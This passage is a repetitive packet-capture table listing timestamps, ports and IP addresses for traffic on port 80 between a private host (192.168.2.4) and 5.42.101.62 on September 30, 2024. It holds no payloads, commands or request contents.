Sep 30, 2024 12:22:35.846196890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846210003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846225977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846246004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846257925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846268892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846306086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846314907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846348047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846365929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846393108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846400023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846434116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846447945 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846467972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846483946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846502066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846517086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846545935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846553087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846582890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846605062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846616030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846626043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846649885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846661091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846694946 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846702099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846735954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846748114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846770048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846781015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846805096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846818924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846833944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846858025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846865892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846865892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846900940 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846915007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846935034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846954107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.846970081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.846986055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847006083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847018003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847039938 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847052097 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847074986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847086906 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847106934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847124100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847138882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847153902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847173929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847187042 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847206116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847220898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847240925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847254038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847275019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847289085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847311020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847323895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847342968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847359896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847377062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847393036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847421885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847436905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847472906 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847485065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847506046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847520113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847539902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847554922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847574949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847587109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847611904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847625017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847644091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847655058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847680092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847692966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847713947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847731113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847748041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847758055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847781897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847799063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847815990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847826004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847850084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847860098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847884893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847897053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847918034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847934008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847951889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.847961903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.847985983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.848000050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.848020077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.848036051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.848053932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.848064899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.848102093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.930886984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.930960894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.930994034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931016922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931018114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931071043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931076050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931112051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931138039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931160927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931165934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931200981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931214094 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931232929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931252003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931267023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931276083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931302071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931330919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931354046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931355000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931413889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931432962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931457996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931458950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931512117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931546926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931550980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931570053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931591988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931600094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931660891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931660891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931694984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931725025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931730032 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931746006 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931762934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931780100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931796074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931809902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931829929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931844950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931864977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931889057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931899071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931910038 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931931019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931945086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931963921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.931983948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.931997061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932019949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932037115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932049990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932070971 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932090044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932104111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932118893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932138920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932153940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932168961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932199001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932202101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932220936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932239056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932259083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932271004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932284117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932305098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932316065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932337999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932362080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932373047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932383060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932405949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932415009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932440996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932454109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932476044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932487011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932512045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932521105 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932559013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932566881 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932601929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932631016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932636023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932651997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932670116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932687044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932723045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932729006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932781935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932785988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932817936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932837963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932852983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932873964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932885885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932897091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932938099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932940006 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.932970047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.932991982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933008909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933015108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933038950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933060884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933079004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933089972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933125019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933154106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933177948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933178902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933213949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933231115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933248043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933281898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933284044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933311939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933324099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933366060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933374882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933376074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933401108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933427095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933429956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933451891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933468103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933486938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933502913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933552027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933552027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933554888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933588028 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933619976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933620930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933655977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933665037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933665037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933690071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933711052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933733940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933742046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933784962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933799982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933805943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933823109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933831930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933840990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933852911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933856964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933876991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933880091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933880091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933891058 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933898926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933907986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933917999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933924913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933943987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933943987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933948040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933964968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933968067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.933981895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.933985949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934000015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934000015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934015989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934019089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934032917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934041023 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934046030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934058905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934062004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934076071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934077978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934092045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934093952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934112072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934115887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934130907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934137106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934137106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934148073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934156895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934165001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934181929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934181929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934181929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934196949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934201002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934215069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934218884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934231997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934248924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934252024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934252024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934264898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934273005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934279919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934292078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934294939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934313059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934318066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934318066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934329033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934345961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934355021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934355021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934362888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934380054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934381962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934397936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934398890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934415102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934417963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934432030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934444904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934448957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934464931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934480906 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:35.934488058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:35.934489012 CEST	52534	80	192.168.2.4	5.42.101.62
